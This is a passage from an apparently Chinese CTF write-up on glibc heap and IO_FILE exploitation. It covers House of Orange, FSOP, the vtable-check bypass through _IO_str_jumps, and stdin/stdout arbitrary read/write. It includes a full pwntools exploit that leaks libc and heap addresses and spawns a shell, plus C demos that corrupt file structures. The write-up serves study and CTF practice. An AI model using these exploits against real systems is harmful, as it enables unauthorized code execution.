((unsigned long) old_end & (pagesize - 1)) == 0));

assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

if (av != &main_arena)
{
heap_info *old_heap, *heap;
size_t old_heap_size;

old_heap = heap_for_ptr (old_top);
old_heap_size = old_heap->size;
if ((long) (MINSIZE + nb - old_size) > 0
&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
| PREV_INUSE);
}
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{

heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
arena_mem += heap->size;

top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
// 释放 old_top_chunk 到 unsorted bin。
_int_free (av, old_top, 1);
}
else
{
set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
set_foot (old_top, (old_size + 2 * SIZE_SZ));
}
}
else if (!tried_mmap)
goto try_mmap;
}
...
}

这样便可成功泄露 libc 基址,从而获得 _IO_list_all 地址,然后可以利用 unsorted bin attack 劫持 _IO_list_allmain_arena+88,利用 fp->chain 域,使 fp 指 向 old_top,前 8 字节为 '/bin/sh\x00' 字符串,使 _IO_OVERFLOWsystem 函数的地址,从而获得 shell

前置脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

lk = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

is_local = True
def connect():
global io, elf, libc
elf = ELF("./houseoforange")
libc = elf.libc

if is_local:
io = process('./houseoforange')
else:
io = remote('192.168.152.138',10001)

is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(io, gdbscript=gdbscript)
pause()
else:
pass

def build(length, name, price, color):
io.sendlineafter(b"Your choice :", str(1).encode())
io.sendlineafter(b"Length of name :", str(length).encode())
io.sendafter(b"Name :", name)
io.sendlineafter(b"Price of Orange:", str(price).encode())
io.sendlineafter(b"Color of Orange:", str(color).encode())

def upgrade(length, name, price, color):
io.sendlineafter(b"Your choice :", str(3).encode())
io.sendlineafter(b"Length of name :", str(length).encode())
io.sendafter(b"Name:", name)
io.sendlineafter(b"Price of Orange: ", str(price).encode())
io.sendlineafter(b"Color of Orange:", str(color).encode())

泄露libc和heap基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def leak():
global malloc_hook, _IO_list_all, system_addr, heap_base
build(0x30, b'ffff', 233, 0xDDAA) # chunk0
#debug()
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
payload += p64(0) * 2 + p64(0xf81)
upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
#debug()
build(0x1000, b'f', 233, 0xDDAA) # chunk1
#debug()
build(0x400, b'f'*8, 666, 2) # chunk2
debug()
io.sendlineafter(b"Your choice :", str(2).encode())
io.recvuntil(b'f'*8)
libc.address = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x3c5188
lk('libc base address', libc.address)
_IO_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
lk('_IO_list_all', _IO_list_all)
lk('system_addr', system_addr)

upgrade(0x10, b'f'*0x10, 666, 2)
debug()
io.sendlineafter(b"Your choice :", str(2).encode())
io.recvuntil(b'f'*0x10)
heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
heap_base = heap_addr - 0xE0
lk('heap_base', heap_base)

image-20231019174459330

image-20231019174527488

首先通过堆溢出将 top_chunk 的大小改为 0xf81

image-20231019174746698

image-20231019175547709

image-20231019181025042

然后申请一块大于 0xf81chunk 利用上面讲的 sysmalloc 中的 _int_free 函数将 old_top_chunk 放入 unsorted_bin 中。在申请 0x400 大小的 large_chunkptmalloc2 会先将 old_top_chunk 放进 large_bin,然后切分 old_top_chunk,再将其放回 unsorted_bin。 所以此时其 fd_nextsizebk_nextsize 遗留了 heap 地址。其 bk 位置遗留了 main_arean+0x668 的地址。我们可以通过 0x400 这个堆块泄露出 heaplibc 地址,然后通过计算偏移获得基址。

FSOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def FSOP():
orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) # unsorted_bin_attack
orange += p64(0) + p64(1)
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)

payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA) + p64(0)
payload += orange
upgrade(len(payload), payload, 233, 0xDDAA)
debug()

gdb.attach(io)
io.sendlineafter(b'Your choice : ', str(1).encode())
pause()

我们可以通过 unsorted_bin_attack_IO_list_all 指向 main_arena+0x58 ,但这块区域是我们不可控的,我们看一下 malloc_state 结构体源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct malloc_state
{
__libc_lock_define (, mutex);
int flags;
/* int have_fastchunks; glibc 2.23 无此成员 */
mfastbinptr fastbinsY[NFASTBINS];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2 - 2];
unsigned int binmap[BINMAPSIZE];
struct malloc_state *next;
struct malloc_state *next_free;
INTERNAL_SIZE_T attached_threads;
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

(tips:bins[2*N - 2] 和 bins[2 * N - 1]分别对应链表头和链表尾指针)

bins[11] == small_bin[5] == small_bin_0x60 bins[0] == unsorted_bin,相差是 12*8 = 0x60。结合 _IO_FILE_plus 结构体如下图所示:

hosa_fake_io

我们可以控制 old_top_chunk 的大小,把它 size 置为 0x61,并在其内部构建 fake_IO_FILE_plus_2 放进 small_bin[5],那么fp->_chain 将会指向 fake_IO_FILE_2。此时 main_arena 如下图。

image-20231019195436804

image-20231019200506509

为了绕过如下检查:

1
2
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) 
&& _IO_OVERFLOW (fp, EOF) == EOF)

我们构造的 fake_IO_FILE_plus 如下图:

hosafioplus

image-20231019200603105

调用 _IO_OVERFLOW (fp, EOF)->_IO_OVERFLOW("/bin/sh\x00, EOF")->system("/bin/sh\x00")

image-20231019201736567

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

lk = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

is_local = True
def connect():
global io, elf, libc
elf = ELF("./houseoforange")
libc = elf.libc

if is_local:
io = process('./houseoforange')
else:
io = remote('192.168.152.138',10001)

is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(io, gdbscript=gdbscript)
pause()
else:
pass

def build(length, name, price, color):
io.sendlineafter(b"Your choice :", str(1).encode())
io.sendlineafter(b"Length of name :", str(length).encode())
io.sendafter(b"Name :", name)
io.sendlineafter(b"Price of Orange:", str(price).encode())
io.sendlineafter(b"Color of Orange:", str(color).encode())

def upgrade(length, name, price, color):
io.sendlineafter(b"Your choice :", str(3).encode())
io.sendlineafter(b"Length of name :", str(length).encode())
io.sendafter(b"Name:", name)
io.sendlineafter(b"Price of Orange: ", str(price).encode())
io.sendlineafter(b"Color of Orange:", str(color).encode())

def leak():
global malloc_hook, _IO_list_all, system_addr, heap_base
build(0x30, b'ffff', 233, 0xDDAA) # chunk0
#debug()
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
payload += p64(0) * 2 + p64(0xf81)
upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
#debug()
build(0x1000, b'f', 233, 0xDDAA) # chunk1
#debug()
build(0x400, b'f'*8, 666, 2) # chunk2
#debug()
io.sendlineafter(b"Your choice :", str(2).encode())
io.recvuntil(b'f'*8)
libc.address = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x3c5188
lk('libc base address', libc.address)
_IO_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
lk('_IO_list_all', _IO_list_all)
lk('system_addr', system_addr)

upgrade(0x10, b'f'*0x10, 666, 2)
#debug()
io.sendlineafter(b"Your choice :", str(2).encode())
io.recvuntil(b'f'*0x10)
heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
heap_base = heap_addr - 0xE0
lk('heap_base', heap_base)

def FSOP():
orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) # unsorted_bin_attack
orange += p64(0) + p64(1) # fp->_mode <= 0;fp->_IO_write_ptr>fp->_IO_write_base
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)

payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA) + p64(0)
payload += orange
upgrade(len(payload), payload, 233, 0xDDAA)
#debug()

#gdb.attach(io)
io.sendlineafter(b'Your choice : ', str(1).encode())
#pause()

def pwn():
connect()
leak()
FSOP()
io.interactive()

if __name__ == "__main__":
pwn()

_IO_vtable_check 检查及新的利用方法

glibc-2.24 加入的检查

glibc-2.24 后加入了针对 IO_FILE_plusvtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的是否合法。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用 _IO_vtable_check 做进一步检查。如果 vtable 是非法的,那么会引发 abort

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))

IO_validate_vtable (const struct _IO_jump_t *vtable)
{
// 计算 _IO_vtable 长度
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
// 计算 ptr 与 __start___libc_IO_vtables 距离
uintptr_t offset = ptr - __start___libc_IO_vtables;
// 如果即不在 _IO_vtable_段内, 则调用 _IO_vtable_check ()
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
  1. 判断 vtable 的地址是否处于 glibc 中的 vtable 数组段,是的话,通过检查。
  2. 否则判断是否为外部的合法 vtable(重构或是动态链接库中的vtable),是的话,通过检查。
  3. 否则报错,输出Fatal error: glibc detected an invalid stdio handle,程序退出。

_fileno 相关利用

_IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用 fwritefread 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。进程中包含了系统默认的三个文件流 stdin,stdout,stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf,printf 一样可以进行利用。

  • fp->_fileno 的值就是文件描述符,stderr 值为 2stdout 值为 1stdin 值为 0
  • fp->_IO_buf_base 表示操作的起始地址
  • fp->_IO_buf_end 表示结束地址

stdin 任意写

大致了解 fread 的执行流程后,还需要绕过以下检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
...
/* fp->_IO_buf_base == NULL 会调用 _IO_doallocbuf (fp) 初始化缓冲区 */
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* 如果 fp->_IO_read_end > fp->_IO_read_ptr 则会将缓冲区内容复制到目标地址 */
...
have = fp->_IO_read_end - fp->_IO_read_ptr;
...
if (have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
}
...
/* 如果输入长度大于缓冲区大小则会直接读入 */
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}

即:

  • 设置_IO_read_end等于_IO_read_ptr
  • 设置 _flag &~ _IO_NO_READS _flag &~ 0x4
  • 设置 _fileno0 ,表示读入数据的来源是 stdin
  • 设置 _IO_buf_basewrite_start_IO_buf_endwrite_end
  • 使得 _IO_buf_end - _IO_buf_base 大于 fread 要读的数据。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE

typedef unsigned long long i64;
char buf[100];

int main() {
char stack_buf[100];
i64 libc_base = (i64) &puts - 0x84420;
// 0x1ec980 为 _IO_2_1_stdin_ 偏移
FILE *fp = libc_base + 0x1ec980;
fp->_IO_read_end = fp->_IO_read_ptr = 0x0;
fp->_flags &= ~0x4;
fp->_fileno = 0x0;
fp->_IO_buf_base = (char *) buf;
fp->_IO_buf_end = (char *) &buf[99];
fread(stack_buf, 1, 3, fp);
printf("buf: %s", buf);
printf("stack_buf: %s\n", stack_buf);
return 0;
}

使用 libc6_2.31-0ubuntu9.9_amd64 版本编译运行结果如下:

image-20231020153758598

stdout 任意写

有如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
if (count > to_do)
count = to_do;

f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}

_IO_write_ptr 指向 write_start_IO_write_end 指向 write_end 即可实现在目标地址写入数据。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE

typedef unsigned long long i64;
char buf[5];

int main() {
char *stack_buf = "abcdefg";
i64 libc_base = (i64) &puts - 0x84420;
FILE *fp = (FILE *) (libc_base + 0x1ed6a0);
fp->_IO_write_ptr = (char *) &buf[0];
fp->_IO_write_end = (char *) &buf[4];
fwrite(stack_buf, 1, 8, fp);
printf("\nbuf: %s\n", buf);
return 0;
}

使用 libc6_2.31-0ubuntu9.9_amd64 版本编译运行结果如下:

image-20231020182423234

stdout 任意读

程序正确执行到 _IO_overflow 时,有如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
/*
* f->_IO_write_end > f->_IO_write_ptr 就会将待输出的数据写入缓冲区,_IO_overflow 只有在输出缓冲区写满的时候才将其 * 输出。因此为了不造成不必要的麻烦,直接令 f->_IO_write_end = f->_IO_write_ptr 。
*/
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;

f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
// _flags 不能包含 _IO_NO_WRITES,其值为 0x8 。
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
//为了进入如下分枝进造成不必要的麻烦, _flags 应包含 _IO_CURRENTLY_PUTTING,其值为 0x0800
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
// _IO_write_base = read_start,_IO_write_ptr = read_end
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
...
}
}

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
// 构造 _flags 包含 _IO_IS_APPENDING,其值为 0x1000
// 或者 _IO_read_end 等于 _IO_write_base 就可以直接执行到 _IO_SYSWRITE
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
...
}

  • 设置 _flag &~ _IO_NO_WRITES _flag &~ 0x8
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _IO_write_base 指向想要泄露的地方;_IO_write_ptr 指向泄露结束的地址。
  • 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING_flag | 0x1000
  • 设置 _IO_write_end 等于 _IO_write_ptr(非必须)。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>

typedef unsigned long long i64;
char buf[] = "123456";

int main() {
char stack_buf[] = "abcdef";
i64 libc_base = (i64) &puts - 0x84420;
// _IO_2_1_stdout
FILE *fp = (FILE *) (libc_base + 0x1ed6a0);
fp->_flags &= ~0x8;
fp->_flags |= 0x800;
fp->_IO_write_base = (char *) buf;
fp->_IO_write_ptr = (char *) &buf[6];
fp->_IO_read_end = fp->_IO_write_base;
puts(stack_buf);
return 0;
}

image-20231022105118674

_IO_str_jumps 与 _IO_wstr_jumps

__start___libc_IO_vtables指向第一个 vtable 地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址。想将 vtable 覆盖成外部地址且仍然通过检查,可以有两种方式:

  1. 使得 flag == &_IO_vtable_check
  2. 使 _dl_open_hook!= NULL
  3. 寻找其他位于__start___libc_IO_vtables__stop___libc_IO_vtables 之间的 vtable

第一种方式不可控,因为 flag 的获取和比对是类似 canary 的方式,其对应的汇编代码如下:

1
2
3
4
<_IO_vtable_check+7>     mov    rax, qword ptr [rip + 0x32bb2a] <0x7fefcac69458>
<_IO_vtable_check+14> ror rax, 0x11
<_IO_vtable_check+18> xor rax, qword ptr fs:[0x30]
<_IO_vtable_check+27> cmp rax, rdi

第二种方式,理论上可行,但是如果我们可以找到存在往_dl_open_hook中写值的方法,完全利用该方法来进行更为简单的利用。

第三种方式, _IO_str_jumps__IO_wstr_jumps 这两个 vtable 就位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间,所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将 *vtable 填成 _IO_str_jumps_IO_wstr_jumps 地址即可。_IO_wstr_jumps_IO_str_jumps功能基本一致,只是_IO_wstr_jumps是处理 wchar的,利用方式主要有针对 _IO_str_jumps 中的 _IO_str_finsh 函数和 _IO_str_overflow 两种。

一些下面用到的结构体定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

_IO_str_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_str_jumps 符号在 strip 后会丢失,定位其地址方法如下:

  • _IO_str_jumpsvtable 中的倒数第二个表,可以通过 vtable 的最后地址减去0x168
  • IDA 寻找_IO_file_jumps 在后面找到_IO_str_****的函数表即可。

image-20231022121407625

_IO_str_finish

下面是 _IO_str_finish 函数:

1
2
3
4
5
6
7
8
9
10
/* glibc < 2.28 的实现 */
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

它使用了 _IO_FILE 结构体中的值当作函数地址来直接调用,如果修改 ((_IO_strfile *) fp)->_s._free_buffersystem 地址,然后修改 fp->_IO_buf_base/bin/sh\x00 字符串地址,然后触发程序执行 _IO_str_finish 函数就可以得到 shell

  • 首先需要绕过之前的 _IO_flush_all_lokcp函数中的输出缓冲区的检查 _mode<=0 以及_IO_write_ptr>_IO_write_base 进入到 _IO_OVERFLOW 中。
  • vtable 的地址覆盖成 _IO_str_jumps-0x8 的地址,这样原来 _IO_OVERFLOW 就变成 _IO_str_finish
  • fp->_IO_buf_base = "/bin/sh\x00" 作为函数第一个参数。
  • fp->_flags要不包含_IO_USER_BUF,它被定义为 1 ,即 fp->_flags最低位为 0
  • fp->_s._free_buffer(fp+0xe8)改为systemone gadget的地址。

_IO_str_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
...
// fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
// not allowed 绕过 _IO_USER_BUF(0x01)
if (fp->_flags & _IO_USER_BUF)
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
// fp->_IO_buf_end - fp->_IO_buf_base,这里让 _IO_buf_base = 0;
size_t old_blen = _IO_blen (fp);
// fp->_IO_buf_end = (bin_sh_addr - 100) / 2
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
// 函数指针调用 fp+0xe8 = system_addr
new_buf= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
...
}
...
}
...
}

即绕过条件为

  • 首先需要绕过之前的 _IO_flush_all_lokcp函数中的输出缓冲区的检查 _mode<=0 以及_IO_write_ptr>_IO_write_base 进入到 _IO_OVERFLOW 中。
  • _IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) / 2
  • fp->_flags要不包含_IO_USER_BUF,它被定义为 1 ,即 fp->_flags最低位为 0
  • _IO_write_ptr = ((bin_sh_addr - 100) / 2) +1_IO_write_base = 0x0
  • fp->_s._allocate_buffer(fp+0xe0) 改为 systemone_gadget 地址。

直接将 vtable->fake_IO_str_jumps_vtable 即可,因为 _IO_str_overflow 也在 0x18 的位置。

_IO_wstr_jumps

其用法和_IO_str_jumps 相似,_IO_wstr_jumps_IO_str_jumps功能基本一致,只是_IO_wstr_jumps是处理 wchar的。其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_wstr_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
int flush_only = c == WEOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : WEOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
}
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))
{
if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
return WEOF;
else
{
wchar_t *new_buf;
wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
size_t old_wblen = _IO_wblen (fp);
_IO_size_t new_size = 2 * old_wblen + 100;

if (__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
return EOF;

new_buf = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size * sizeof (wchar_t));
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return WEOF;
}
if (old_buf)
{
__wmemcpy (new_buf, old_buf, old_wblen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_wide_data->_IO_buf_base = NULL;
}

__wmemset (new_buf + old_wblen, L'\0', new_size - old_wblen);

_IO_wsetb (fp, new_buf, new_buf + new_size, 1);
fp->_wide_data->_IO_read_base =
new_buf + (fp->_wide_data->_IO_read_base - old_buf);
fp->_wide_data->_IO_read_ptr =
new_buf + (fp->_wide_data->_IO_read_ptr - old_buf);
fp->_wide_data->_IO_read_end =
